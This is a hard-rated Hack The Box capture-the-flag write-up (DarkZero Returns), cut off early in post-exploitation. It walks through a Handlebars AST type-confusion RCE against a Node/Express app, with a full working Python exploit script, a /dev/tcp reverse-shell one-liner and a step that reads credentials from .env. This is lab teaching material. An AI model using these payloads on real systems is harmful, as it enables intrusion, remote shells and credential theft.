active directory

Hack The Box - HTB DarkZero Returns Writeup - Hard - Weekly - July 25th, 2026

Hack The Box -  HTB DarkZero Returns  Writeup - Hard - Weekly - July 25th, 2026

Difficulty: Hard · OS: Windows two-forest Active Directory, reached through a Linux edge host
Chain: Handlebars AST type-confusion RCE → credential reuse → Gitea CI pipeline poisoning
→ service-account takeover → ksu name-collision local root → DA via reused DB password →
cross-forest golden ticket (SID-filter bypass) → SeBackupPrivilege → DCSync → root


1. Redaction key & script conventions

All instance-specific secrets are stripped: IPs, flags, passwords, hashes, SIDs, tokens.
Every script below reads these from environment variables instead of hardcoding them, so
the scripts are complete and functional — you populate the variables from your own recon as you go.

Placeholder / env var What it is Where it comes from
$TARGET public IP of the box HTB machine panel
$ATTACKER your tun0 IP ip -4 addr show tun0
$DC01 $DC02 $SRV01 internal AD hosts discovered post-pivot, §7
$INT_CIDR internal subnet routing table on the edge host
$OFF seconds the DC clock leads yours computed in §2.3
$DB_PASS app MySQL password .env via RCE, §5
$JOSH_PASS domain user josh crack app bcrypt, §5
$CELIA_PASS domain user celia (DA) crack backup bcrypt, §12
$GIT_PASS password for the Gitea account you self-register you choose it
$ROOTPRINC_PASS password for the AD principal you create you choose it
$EXT_SID $HTB_SID domain SIDs, no RID bloodyAD get object ... --attr objectSid
$KRBTGT_AES .ext krbtgt AES256 key DCSync as celia, §13
$DC01_NT DC01 machine account NT hash offline hive parse, §14
$ADMIN_NT .htb Administrator NT hash DCSync as DC01$, §14
$PUBKEY your SSH public key contents ssh-keygen, §10

Flag values are omitted entirely.


2. Approach — how we worked the box, and environment prep

2.1 Overall method

Before any exploitation, three structural facts changed how we approached everything after:

  1. Only two ports are open, and the box is billed as Windows. That mismatch is the whole shape of the box: the thing you can reach directly is a thin Linux edge, and the real target — a two-forest AD estate — is entirely hidden behind it. This told us the web app was not "a service to break for its own sake" but a pivot vehicle, so we prioritized finding some command execution primitive over finding a clean/elegant one.
  2. ksu and Kerberos-heavy tooling meant clock skew would dominate debugging time if we
    didn't solve it up front — Kerberos failures ("clock skew too great", "ticket not yet
    valid") look identical to authentication failures, and we didn't want to misattribute a
    skew problem to a wrong password or a broken exploit. So skew handling (faketime) was
    built before touching AD, not bolted on when the first weird error appeared.
  3. A Linux member server joined via SSSD is itself a domain identity provider. Any
    local shell we got on it was worth checking against /etc/nsswitch.conf /
    sssd.conf / realm list immediately, because SSSD-joined hosts routinely have looser
    login policies than the DC itself (this paid off directly — see §6).

The rest of the write-up follows the natural dependency order the box enforces: you cannot skip to the Gitea stage without the pivot, cannot pivot without a domain credential, and cannot get a domain credential without the web RCE. But within each stage we describe the dead ends we hit first, because most of them are natural things to try and the reason they fail is instructive (SID filtering, SeBackupPrivilege scope, CREATE_CHILD invisibility in BloodHound, etc).

2.2 MTU

sudo ip link set dev tun0 mtu 1300

Why this had to be figured out first: early in this box, large requests (a sizeable
git push, a big JSON PUT) simply hung forever with zero error output, while everything
else — logins, small API calls, SSH — worked fine. That asymmetry (works small, hangs big)
is the signature of a path-MTU black hole, not a broken exploit or a dead service. The
HTB VPN silently drops any packet larger than roughly 1300 bytes instead of fragmenting or
returning ICMP "too big." Once diagnosed, the fix is a standing rule: cap tun0 at 1300.

Consequential detail: tun0 resets to MTU 1500 on every VPN reconnect. If something
that worked an hour ago starts hanging again with no config change on your end, check this
before anything else.

2.3 Name resolution

$TARGET       dzcampaigns.htb
# added after the pivot (§7) — do not resolve before then
$DC01         dc01.darkzero.htb darkzero.htb DC01
$DC02         gitea.darkzero.ext dc02.darkzero.ext darkzero.ext DC02
$SRV01        srv01.darkzero.ext SRV01

2.4 Clock skew

We noticed the DCs were dramatically time-shifted the moment the first Kerberos attempt failed with a skew error despite a correct password — which told us this wasn't a wrong-credential problem. Rather than fight systemd-timesyncd (it kept dragging the local clock back mid-operation, invalidating tickets we'd just gotten), we settled on presenting DC time only to the specific commands that need it, via faketime:

OFF=$(( $(date -u -d "$(curl -sSI http://gitea.darkzero.ext:3000/ \
      | grep -i '^Date:' | sed 's/^[Dd]ate: //' | tr -d '\r')" +%s) - $(date -u +%s) ))
echo $OFF          # → $OFF, roughly 25200 (~7 hours)

Any HTTP service on a domain-joined host is a usable time oracle — the Date: header is precise enough for Kerberos' ~5-minute tolerance.

Standing rule for the rest of the box: on Kali, prefix every Kerberos-touching
command with faketime -f "+${OFF}s". On SRV01 once we have a shell there, never — that host's clock is already synced to the DC, and applying the offset a second time breaks things instead of fixing them. This distinction cost real time on the first attempt at this box and is worth internalizing before you start.

2.5 /etc/krb5.conf

Both realms, DNS lookups disabled (internal DNS answers were inconsistent through the pivot,
and rdns in particular handed back the wrong SPN on at least one lookup):

[libdefaults]
    default_realm = DARKZERO.EXT
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false

[realms]
    DARKZERO.EXT = { kdc = $DC02  admin_server = $DC02 }
    DARKZERO.HTB = { kdc = $DC01  admin_server = $DC01 }

[domain_realm]
    .darkzero.ext = DARKZERO.EXT
    darkzero.ext  = DARKZERO.EXT
    .darkzero.htb = DARKZERO.HTB
    darkzero.htb  = DARKZERO.HTB

3. Recon

nmap -p- --min-rate 5000 -Pn $TARGET
nmap -p22,80 -sCV -Pn $TARGET
22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open  http  nginx 1.24.0 (Ubuntu)   → redirects to http://dzcampaigns.htb/

Two ports, Ubuntu banners, but the machine is labeled Windows — as discussed in §2.1 this is the load-bearing observation of the whole recon phase. Add the vhost and move on to the app; there is nothing else to enumerate at the network layer yet.

echo "$TARGET dzcampaigns.htb" | sudo tee -a /etc/hosts

Cookie/header inspection (whatweb, or just watching Set-Cookie): the app sets dz.sid — an express-session signed cookie — and returns a weak ETag. That's enough to place this
as a custom Node/Express application, not an off-the-shelf CMS, which sets the expectation that any vulnerability here is bespoke rather than a known CVE we can just search for by product name.


4. Web app reconnaissance: "DarkZero Campaigns"

A D&D-themed campaign manager. Registration is open. After logging in, the interesting
surface is character creation (/character/new), which has a campaign_message field
whose default placeholder text is itself a template:

A new face emerges! The {{race}} {{class}} {{name}} has joined the campaign...

That placeholder is the tell — it means the field is rendered through some templating engine, and since the message is echoed back non-blind in the campaign log (GET /campaign/1), we have direct visibility into the render output. Two things ruled out immediately, both worth mentioning because they're the obvious next things to try and both
were dead ends:

  • /dice — looked promising for a server-side RNG attack, but it's 100% client-side (crypto.getRandomValues). No server involvement at all.
  • Brute-forcing login — rate-limited at roughly 10 attempts / 900s. Not viable, not needed.

4.1 Fingerprinting the template engine

We didn't assume Handlebars — we tested candidate syntaxes against the render sink to rule engines in or out:

Input Result Inference
{{7*7}} HTTP 400 (parse error) strict parser — arithmetic isn't valid syntax here
{{race}} renders correctly the field name works as a normal variable
{{#if true}}IFOK{{/if}} IFOK Handlebars-specific literal/block handling
{% if true %}...{% endif %} rendered literally, not evaluated rules out Nunjucks/Jinja2/Liquid — that syntax means nothing to this engine
`{{#with "s" as x }}WITHOK{{/with}}`

Conclusion: Handlebars, and a reasonably modern one (block params supported).

4.2 The obvious SSTI payload — and why it fails

The standard Handlebars RCE walks the prototype chain through a helper:

{{#with "s" as |string|}}{{#with (string.sub.apply 0 "console.log(process.mainModule.require('child_process').execSync('id'))")}}{{/with}}{{/with}}

This returns an empty render, not an error — s.constructor access is silently
blocked. That's the signature of Handlebars' built-in prototype access guard
(allowedProtoMethods / allowedProtoProperties, present since Handlebars ≥ 4.6): it's not that the template is malformed, it's that the engine is actively refusing to resolve .constructor off a primitive. Trying variations on this theme (different primitives, different chained property paths) is not going to get further — the guard is a property filter applied at property-access time, so any path through .constructor is caught the same way. We stopped pushing on this axis and asked a different question: is there a way to get code execution that doesn't go through the runtime proto guard at all?

4.3 The actual bug — CVE-2026-33937 (Handlebars AST type-confusion)

Handlebars.compile() has always accepted two distinct input shapes, which is easy to miss because almost everyone only ever passes the first:

  1. a string — the normal case, which the library parses into an AST and then compiles;
  2. an already-parsed AST object — used internally / by tooling that pre-parses — which
    is compiled directly, skipping the parser entirely.

compile() distinguishes the two by checking whether the input is an object with
.type === 'Program'. This matters because the runtime proto guard we just hit in §4.2 is
enforced by the parser/runtime helpers, not by the code generator — if we can hand compile() a pre-built AST, we bypass the layer that was blocking us, because we're no longer relying on any helper call the guard instruments.

The code generator assumes any AST it receives came from its own parser, and therefore trusts node types without re-validating them. In particular, it emits a
NumberLiteral's .value into the generated JavaScript unquoted — reasonable, since a genuine number literal can never contain syntax that needs escaping:

// conceptually, inside the codegen:
case 'NumberLiteral': return String(node.value);   // no quoting, no escaping — "trusted"

If .value is a string instead of a number, that's a type confusion the generator never
checks for, and the string's contents are spliced raw into the compiled function body. That
is arbitrary JavaScript execution at template-compile time — a different, and much stronger,
primitive than the guarded runtime helper calls of §4.2.

The remaining problem: the app's form field is a plain HTML <textarea>, so a normal
submission always arrives as a string, never an object. Express's JSON body parser
solves this — if the app calls express.json() (a near-universal default) and we send
Content-Type: application/json instead of the form's normal
application/x-www-form-urlencoded, the same field can be posted as a nested JSON object.
The application code passes whatever it receives straight to Handlebars.compile() without
checking that it's a string first. That's the full bug: user-controlled AST reaches an
API that trusts AST node types, delivered via a body-parser type confusion the app never
guards against.

(We also noted the box pins handlebars@4.7.8 — the last version affected before this class
of bug was patched — in package.json, which confirmed we had the right vulnerability class
once we found it, though the fingerprinting in §4.1–4.2 is what actually led us here rather
than reading the manifest first.)

4.4 Constructing the payload

The injected string must be syntactically valid at the exact point the generator splices it
in. Empirically (and confirmable by reading generated Handlebars output), a helper call in
generated code is shaped roughly like helper.call(depth0, arg0, arg1)). Our poisoned
NumberLiteral sits in the arg1 position, so our string has to:

  1. close the argument list and the call parentheses we're sitting inside: {},{}))
  2. concatenate our own expression into the output buffer: + <js>
  3. comment out whatever the generator planned to emit next, since we can't predict or
    balance it syntactically: //
value = "{},{})) + process.mainModule.require('child_process').execSync('<cmd>').toString() //"

Gadget choice matters and is version-dependent. The target runs Node < 22.3, where process.getBuiltinModule doesn't exist yet — you must use
process.mainModule.require('child_process'). On Node ≥ 22.3 that call is unavailable and you'd need the reverse. Keep both gadgets in the exploit and let the target decide.

We chose the built-in lookup helper ({{lookup this X}}) as the carrier because it's (a)
guaranteed to exist without touching user templates, and (b) takes exactly two arguments,
matching the two-argument call shape we needed to break out of.

4.5 Full exploit script

hbs_rce.py — handles account bootstrap (register-then-login, since a fresh box spawn has
no account yet), delivers the AST payload as a JSON body, and reads the rendered output back
out of the campaign log:

#!/usr/bin/env python3
# CVE-2026-33937 - Handlebars AST type-confusion RCE
# Target: DarkZero Campaigns -> campaign_message sink
import os, re, sys, requests

BASE = f"http://{os.environ.get('DZ_HOST', 'dzcampaigns.htb')}"
USER = "user"
EMAIL = "user@user.user"
PASS = "HelloWorld@#"
CAMPAIGN = "1"

# Node <=22: process.mainModule.require  |  Node >=22.3: process.getBuiltinModule
GADGETS = {
    "mainModule": "process.mainModule.require('child_process').execSync('{cmd}').toString()",
    "builtin":    "process.getBuiltinModule('child_process').execSync('{cmd}').toString()",
}

s = requests.Session()


def csrf(path):
    r = s.get(BASE + path, timeout=20)
    m = re.search(r'name="_csrf" value="([^"]+)"', r.text)
    return m.group(1) if m else None


def register():
    t = csrf("/register")
    r = s.post(BASE + "/register", data={"_csrf": t, "username": USER,
                                         "email": EMAIL, "password": PASS},
               timeout=20, allow_redirects=False)
    print(f"[*] register -> {r.status_code} {r.headers.get('Location','')}")
    return r.status_code == 302


def login():
    t = csrf("/login")
    r = s.post(BASE + "/login", data={"_csrf": t, "email": EMAIL, "password": PASS},
               timeout=20, allow_redirects=False)
    print(f"[*] login -> {r.status_code} {r.headers.get('Location','')}")
    return r.status_code == 302


def ast(cmd, gadget="mainModule"):
    js = GADGETS[gadget].format(cmd=cmd.replace("'", "\\'"))
    return {
        "type": "Program",
        "body": [{
            "type": "MustacheStatement",
            "path": {"type": "PathExpression", "data": False, "depth": 0,
                     "parts": ["lookup"], "original": "lookup", "loc": None},
            "params": [
                {"type": "PathExpression", "data": False, "depth": 0,
                 "parts": [], "original": "this", "loc": None},
                {"type": "NumberLiteral",
                 "value": "{},{})) + " + js + " //",     # string, not number: the confusion
                 "original": 1, "loc": None},
            ],
            "escaped": True,
            "strip": {"open": False, "close": False},
            "loc": None,
        }],
        "strip": {},
        "loc": None,
    }


def run(cmd, name, gadget="mainModule"):
    t = csrf("/character/new")
    body = {"_csrf": t, "name": name, "race": "Elf", "class": "Rogue",
            "backstory": "x", "campaign_id": CAMPAIGN,
            "campaign_message": ast(cmd, gadget)}
    r = s.post(BASE + "/character", json=body, timeout=25, allow_redirects=False)
    print(f"[*] inject ({gadget}) -> HTTP {r.status_code}")
    return r.status_code


def last_messages(n=3):
    r = s.get(f"{BASE}/campaign/{CAMPAIGN}", timeout=20)
    msgs = re.findall(r"<div class=\"message\">\s*<p>(.*?)</p>", r.text, re.S)
    for m in msgs[-n:]:
        print("---\n" + m.strip())


if __name__ == "__main__":
    cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
    gadget = sys.argv[2] if len(sys.argv) > 2 else "mainModule"
    if not login():
        print("[*] login failed, registering fresh account")
        register()
        if not login():
            sys.exit("[-] login failed after register")
    run(cmd, "rce" + str(abs(hash(cmd)) % 9999), gadget)
    last_messages()

Run it (set DZ_HOST if your /etc/hosts entry differs):

python3 hbs_rce.py 'id; hostname'
# [*] login failed, registering fresh account
# [*] register -> 302 /login
# [*] login    -> 302 /dashboard
# [*] inject (mainModule) -> HTTP 200
# ---
# uid=996(darkzero) gid=987(darkzero) groups=987(darkzero)
# SRV01
Note — intermittent HTTP 400. Character names are derived from hash(cmd), so
re-running the exact same command string collides with the previous character and 400s.
Login is also rate-limited (~10/900s). A 400 here is virtually always one of those two
causes, not a broken payload — vary the command slightly (or just retry) before spending
time re-deriving the AST.

Get a real shell (detach with setsid so execSync doesn't block the HTTP request waiting
for a process that never exits):

python3 hbs_rce.py "setsid bash -c 'bash -i >& /dev/tcp/\$ATTACKER/9001 0>&1' >/dev/null 2>&1 &"

→ reverse shell as darkzero on SRV01.


5. Post-exploitation on SRV01 — pivoting to a domain credential

With a shell as darkzero, the obvious next move for any Node app is to check its own config:

cat ~/.env
# PORT=8081  DB_HOST=localhost  DB_USER=darkzero
# DB_PASSWORD=$DB_PASS   DB_NAME=darkzero_campaigns
# SESSION_SECRET=<redacted>

The session secret isn't useful to us directly (we're not forging our own app sessions for anything), but the DB password lets us read the app's own user table — worth checking because web apps frequently store credentials that turn out to be reused elsewhere, and that instinct pays off twice on this box (here, and again in §12):